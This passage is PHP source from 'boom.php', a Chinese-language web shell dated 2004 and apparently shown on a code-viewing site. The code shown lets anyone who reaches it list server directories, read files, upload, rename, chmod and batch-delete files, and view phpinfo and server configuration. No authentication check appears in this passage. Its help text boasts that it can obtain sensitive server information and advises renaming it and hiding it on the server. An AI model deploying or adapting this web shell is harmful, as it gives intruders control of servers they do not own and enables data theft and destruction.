📄 boom.php
字号:
if($key=="0"){$items=$_POST[id][$key];}
else{$items=$items."|".$_POST[id][$key];}
}
echo"
<form action='?m=chmod&dir={$dir}' method=post><br>属性值:
<input type='text' name='val' value='0755' size=4 maxlength=4>
<input type='hidden' name='items' value='{$items}'>
<input type=submit value='确定修改'>
</td>
</tr></form>
</table>";
}
elseif($_GET[m]=="chmod"){
//-------------------------------- 修改属性 --------------------------------
# $val=(integer)$_POST[val];
# echo"{$_POST[val]}|".gettype($_POST[val])."<br>{$val}|".gettype($val)."<br>";
skin_var(title,"修改属性");
echo"{$style_head}
<table width=750 border=0 bgcolor=666666 cellpadding=2 cellspacing=1>
<tr bgcolor=eeeeee align=center>
<td height=100>";
if(!$_POST[items]){error_info("!没有选择需要修改属性的目标!");}
$id = explode("|",$_POST[items]);
$val=base_convert($_POST[val],8,10);
# $val=base_convert($val,10,8);
for($i=0; $i<count($id); $i++){
if(chmod($id[$i],$val)){echo"修改『<font color=ff0000>{$id[$i]}</font>』属性为[<font color=ff0000>{$_POST[val]}</font>]成功<br>";}else{;echo"“<font color=ff0000>{$id[$i]}</font>”修改属性失败<br>";}
}
echo"</td></tr></table>";
}
elseif($_POST[m]=="改名"){
//-------------------------------- 改名确认 --------------------------------
if(!$_POST[id][0]){error_info("!没有选择需要改名的目标!");}
skin_var(title,"改名确认");
echo"{$style_head}
<table width=750 border=0 bgcolor=666666 cellpadding=2 cellspacing=1>
<tr bgcolor=eeeeee align=center>
<td height=100>
<form action='?m=rename&dir={$dir}' method=post><br>
文件/目录:<input type='text' name='id' value='{$_POST[id][0]}' size=20 readonly><br>
改名为:<input type='text' name='newname' size=20 maxlength=20><br>
<input type=submit value='确定改名'>
</td>
</tr></form></td></tr></table>";
}
elseif($_GET[m]=="rename"){
//-------------------------------- 修改名称 --------------------------------
if((!$_POST[id]) or (!$_POST[newname])){error_info("!请选择需要改名的目标,并输入新名称!");}
skin_var(title,"修改名称");
echo"{$style_head}
<table width=750 border=0 bgcolor=666666 cellpadding=2 cellspacing=1>
<tr bgcolor=eeeeee align=center>
<td height=100>";
if(rename ($_POST[id],$_POST[newname])){echo"<font size=3>改名成功</font>";}
else{echo"<font size=3 color=ff0000>改名操作失败</font>";}
echo"</td></tr></table>";
}
elseif($_POST[m]=="删除"){
//-------------------------------- 删除确认 --------------------------------
skin_var(title,"删除操作确认");
echo"{$style_head}
<table width=750 border=0 bgcolor=666666 cellpadding=2 cellspacing=1>
<tr bgcolor=eeeeee align=center>
<td height=100>";
if(!$_POST[id][0]){error_info("没有选择要删除的项目<br>");}
$id_all=count($_POST[id]);
echo"<table width=300 border=0 bgcolor=cccccc cellpadding=3 cellspacing=1>";
while ( list($key, $val) = each($_POST[id]) ) {
if($key=="0"){$items=$_POST[id][$key];}
else{$items=$items."|".$_POST[id][$key];}
if(is_dir($_POST[id][$key])){$info1="目录";}else{$info1="文件";}
if((is_writeable($_POST[id][$key]))==1){$info2="可删";}else{$info2="<font color=ff0000>不可删</font>";}
echo"<tr bgcolor=eeeeee><td>{$_POST[id][$key]}</td><td align=center>$info1</td><td align=center>$info2</td></tr>";
}
echo"</td></tr></table>
<hr size=1>
<font color=ff0000>再次提醒您看清楚路径!误操作将带来不必要的损失!</font><br><font size=3><b>确定删除以上全部 <font color=ff0000>{$id_all}</font> 项?</b></font>
<form action='?m=del&dir={$dir}' method=post>
<input type='hidden' name='items' value='$items'>
<input type=submit value='确定删除'>
</form>
<hr size=1>若删除目录,程序会自动删除目录下一级的文件和空目录(不包括更深层的目录和文件)
</td></tr></table>";
}
elseif($_GET[m]=="del"){
//-------------------------------- 开始删除 --------------------------------
skin_var(title,"删除操作");
echo"{$style_head}
<table width=750 border=0 bgcolor=666666 cellpadding=2 cellspacing=1>
<tr bgcolor=eeeeee align=center>
<td height=100>
<table border=0><tr><td>";
if(!$_POST[items]){error_info("没有选择要删除的项目");}
$id = explode("|",$_POST[items]);
$i_all=count($id);
echo"删除项目总数:$i_all<hr>";
for($i=0; $i < $i_all; $i++){
if(is_dir($id[$i])){
chdir($id[$i]);
$open=opendir("./");
for($ii=0; $filename=readdir($open); $ii++){
if(is_dir($filename)){
if(($filename!=".") and ($filename!="..")){ rmdir($filename);}
}
else{ unlink($filename);}
}
chdir("../");
$open=opendir("./");
if(@rmdir($id[$i])){echo"删除目录:<b>{$id[$i]}</b><br>";}
else{echo"<font color=ff0000>删除目录<b>{$id[$i]}失败</b></font><br>";}
}
else{
if(@unlink($id[$i])){echo"删除文件:<b>{$id[$i]}</b><br>";}
else{echo"<font color=ff0000>删除文件<b>{$id[$i]}</b>失败!</font><br>";}
}
}
echo"
</td></tr></table></td></tr></table>";
}
elseif($_GET[m]=="help"){
//-------------------------------- 程序说明 --------------------------------
$phpver=phpversion();
$os=PHP_OS;
$df=round(diskfreespace("/")/1048576);
if (get_cfg_var("safe_mode")){$safe_mode="开启";}else{$safe_mode="关闭";}
$upfile_max = get_cfg_var("upload_max_filesize");
$scriptouttime = get_cfg_var("max_execution_time");
if (get_cfg_var("register_globals")){$register_globals ="On";}else{$register_globals ="Off";}
$post_max_size = get_cfg_var("post_max_size");
$memory_limit= get_cfg_var("memory_limit");
skin_var(title,"信息说明");
echo"{$style_head}
<table width=750 border=0 bgcolor=666666 cellpadding=2 cellspacing=1>
<tr bgcolor=eeeeee>
<td height=100><font size=3><center>
我的IP地址:{$_SERVER[REMOTE_ADDR]}</center></font><br>
<table border=0 bgcolor=aaaaaa cellpadding=1 cellspacing=1 align=center>
<tr bgcolor=cccccc><td colspan=2 align=center>主信息:</td></tr>
<tr bgcolor=eeeeee><td colspan=2>{$_SERVER[SERVER_SIGNATURE]}</td></tr>
<tr bgcolor=eeeeee><td>操作系统</td><td>{$os}</td></tr>
<tr bgcolor=eeeeee><td>PHP 版本</td><td>{$phpver}</td></tr>
<tr bgcolor=eeeeee><td>服务器程序</td><td>{$_SERVER[SERVER_SOFTWARE]}</td></tr>
<tr bgcolor=eeeeee><td>磁盘剩余空间</td><td>{$df} MB</td></tr>
<tr bgcolor=eeeeee><td>WWW服务默认路径</td><td>{$_SERVER[DOCUMENT_ROOT]}</td></tr>
<tr bgcolor=eeeeee><td>当前程序所在路径</td><td>{$_SERVER[SCRIPT_FILENAME]}</td></tr>
<tr bgcolor=eeeeee><td>当前程序所在路径</td><td>{$_SERVER[PATH_TRANSLATED]}</td></tr>
<tr bgcolor=cccccc><td colspan=2 align=center>PHP.ini配置信息:</td></tr>
<tr bgcolor=eeeeee><td>安全模式</td><td>{$safe_mode}</td></tr>
<tr bgcolor=eeeeee><td>自动全局变量</td><td>{$register_globals}</td></tr>
<tr bgcolor=eeeeee><td>最大上传文件</td><td>{$upfile_max}</td></tr>
<tr bgcolor=eeeeee><td>最大POST上限</td><td>{$post_max_size}</td></tr>
<tr bgcolor=eeeeee><td>最大使用内存</td><td>{$memory_limit}</td></tr>
<tr bgcolor=eeeeee><td>脚本超时时间</td><td>{$scriptouttime} sec</td></tr>
<tr bgcolor=cccccc><td colspan=2 align=center>[<a href='?m=phpinfo'><font color=ff0000>Phpinfo 详细信息!</font></a>]</td></tr>
</table>
<br>
<br><br><b>功能介绍:</b>
<li>遍历服务器上有足够权限的目录,并列出目录下的文件和子目录信息。
<li>测试文件是否可以读写。1为可,0为否。
<li>在可读的情况下,能查看文件的内容。包括该文件里的敏感信息。
<li>在可写的情况下,能够【上传文件】、【修改属性】、【文件改名】、【编辑文件】、【新建文件】、【新建目录】。
<li>【批量删除文件和空目录】、【批量修改文件和目录属性】。
<li>[MD5加密字符]、[批量代码生成]、[UNIX时间戳换算]。
<li>另外还可返回系统环境信息。
<li>管理员登陆功能。
<li>以后会增加更多所能想到的实用功能。
<br><br><b>注意事项:</b>
<li><font color=ff0000>本程序可无用设置直接使用。但由于功能强大而存在危险性,所以请改名并放在只有你自己知道的地方。最好配置密码使用!</font>
<li><font color=ff0000>使用本程序也许会获得某些服务器中的敏感信息,但请勿做非法用途!否则后果自负! </font>
<li>由于服务器配置各不相同,无法保证您使用时本程序的全部功能都有效。程序某些功能无法正常执行,返回错误信息也不奇怪。
<li>若要删除文件和目录,请先把要删除目标所在的目录属性改为777,以确保成功。
<hr size=1>
<p align=right>程序作者:刀锋战士 2004-06-01
</td></tr></table>";
}
elseif($_GET[m]=="phpinfo"){
phpinfo();
exit;
}
elseif($_GET[m]=="upfile"){
//-------------------------------- 文件上传 --------------------------------
if ($_FILES[upfile][name]==""){error_info("!请选择要上传的文件!<br>不然我怎么知道你要上传哪一个?昏!");}
if (file_exists($_FILES[upfile][name])) {error_info("该目录中已有同名文件,请改名!");}
move_uploaded_file($_FILES[upfile][tmp_name],$_FILES[upfile][name]);
skin_var(title,"文件上传");
echo"{$style_head}
<table width=750 border=0 bgcolor=666666 cellpadding=2 cellspacing=1>
<tr bgcolor=eeeeee>
<td height=200 align=center>
<b><font size=3>文件“<font color=ff0000>{$_FILES[upfile][name]}</font>”上传完毕!</font></b>
<br>
文件大小:{$_FILES[upfile][size]} Byte
<hr size=1 width=400>
备注:某些情况下可能需要上传2次才能成功。
</td></tr></table>
<meta http-equiv=refresh content=7;URL='?dir={$dir}'>";
}
else{
//-------------------------------- 目录列表 --------------------------------
if($_GET[showtype]==""){ $showname="所有文件与目录";}
elseif($_GET[showtype]=="directory"){ $showname="所有目录";}
else{ $showname="<b><font face='Tahoma'>*.{$_GET[showtype]}</font></b> 文件";}
skin_var(title,"目录列表");
echo"{$style_head}
<table width=750 border=0 bgcolor=666666 cellpadding=2 cellspacing=1>
<tr bgcolor=888888 align=center><td></td>
<form method='get'>
<td><table width=100% border=0 cellpadding=0 cellspacing=0><tr><td><font color=ffffff> {$showname}</font></td><td align=right>
<select name='showtype' size=1 onchange=\"window.location=('?dir={$dir}&showtype='+this.options[this.selectedIndex].value+'');\">
<option style='BACKGROUND-COLOR: aaaaaa; color=ffffff'>显示条件</option>
<option value=''>全部显示</option>
<option value='directory'>< 目录 ></option>
<option value='html'>*.html</option>
<option value='htm'>*.htm</option>
<option value='txt'>*.txt</option>
<option value='cgi'>*.cgi</option>
<option value='php'>*.php</option>
<option value='asp'>*.asp</option>
<option value='jsp'>*.jsp</option>
<option value='dat'>*.dat</option>
<option value='swf'>*.swf</option>
<option value='gif'>*.gif</option>
<option value='jpg'>*.jpg</option>
<option value='png'>*.png</option>
<option value='zip'>*.zip</option>
<option value='rar'>*.rar</option>
</select></td></tr></table>
</td></form>
<td><font color=ffffff>文件大小</font></td>
<td><font color=ffffff>创建时间</font></td>
<td><font color=ffffff>修改时间</font></td>
<td><font color=ffffff>属 性</font></td>
<td><font color=ffffff>可读</font></td>
<td><font color=ffffff>可写</font></td>
<td><font color=ffffff>所有者</font></td>
</tr><form method='post'>\n";
for($i=0; $filename=readdir($open); $i++){
if(is_dir($filename)){
if(($_GET[showtype]!="") and ($_GET[showtype]!="directory")){continue;}
if(($filename==".") or ($filename=="..")){echo"<tr bgcolor=dddddd align=center><td></td><td align=left><font color=ff9900>[<a href='?dir={$dir}$filename/'>$filename</a>]</font></td>";}
else{echo"<tr bgcolor=dddddd align=center><td><input type='checkbox' name='id[]' value='$filename'></td><td align=left><font color=ff9900>[<a href='?dir={$dir}$filename/'>$filename</a>]</font></td>";}
$fileinfo[2]="<td>< 目录 >";
$dir_i++;
}
else{
if($_GET[showtype]=="directory"){continue;}
elseif($_GET[showtype]!=""){
if(strtolower($_GET[showtype]) != strtolower(substr(strrchr($filename,"."),1))){continue;}
}
echo"<tr bgcolor=eeeeee align=center><td><input type='checkbox' name='id[]' value='$filename'></td><td align=left><table width=100% border=0 cellpadding=0 cellspacing=0><tr><td><a href='{$dir}".urlencode($filename)."'>$filename</a></td><td align=right><a href='?m=show&id={$filename}&dir={$dir}'>查看</a></td></tr></table></td>";
$fileinfo[2]="<td align=right>".filesize("{$filename}");
$file_i++;
}
echo"{$fileinfo[2]}</td><td>".date("y-m-d H:i",filectime("$filename"))."</td><td>".date("y-m-d H:i",filemtime("$filename"))."</td><td>".substr(decoct(fileperms("$filename")),-3)."</td><td>".is_readable($filename)."</td><td>".is_writeable($filename)."</td><td>".fileowner("{$filename}")."</td></tr>\n";
}
echo"<tr bgcolor=888888><td colspan=3>
<input type=hidden name='dir' value='{$dir}'>
<input type='submit' name='m' value='删除'>
<input type='submit' name='m' value='属性'>
<input type='submit' name='m' value='改名'>
</td>
</form>
<td colspan=6 align=center>总共:{$i}个文件和目录 目录数:{$dir_i} 文件数:{$file_i}</td></tr>
</table>";
}
/* ================================ 程序尾部样式 ========================= */
$time_end = getmicrotime();
$alltime=$time_end-$time_start;
echo"
<table width=750 border=0 bgcolor=666666 cellpadding=3 cellspacing=0>
<tr bgcolor=666666>
<form action='?m=upfile&dir={$dir}' method='post' enctype='multipart/form-data'>
<td><input type='file' name='upfile' size=18><input type='submit' value='上传文件'></td>
</form>
<td> <a href='?dir=c:/'>[C:]</a> <a href='?dir=d:/'>[D:]</a> <a href='?dir=e:/'>[E:]</a> |<a href='?m=help'>说明</a>|</td>
<form method='get'>
<td align=right><select name='m' size=1>
<option value='mkdir'>新建一个目录</option>
<option value='show'>新建一个文件</option>
</select><input type=hidden name='dir' value='{$dir}'><input type=text name=id size=15 maxlength=15><input type=submit value='确定创建'></td>
</tr>
</form>
</table>
<table width=750 border=0 cellpadding=3 cellspacing=1>
<tr align=center>
<td align=left>
<font color=666666>程序执行时间:{$alltime} s</font>
</td><td align=right>
<font color=777777 face='Tahoma'>...:::::MADE IN BOOM</font></td>
</tr>
</table>
</DIV>
</BODY>
</HTML>";
?>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -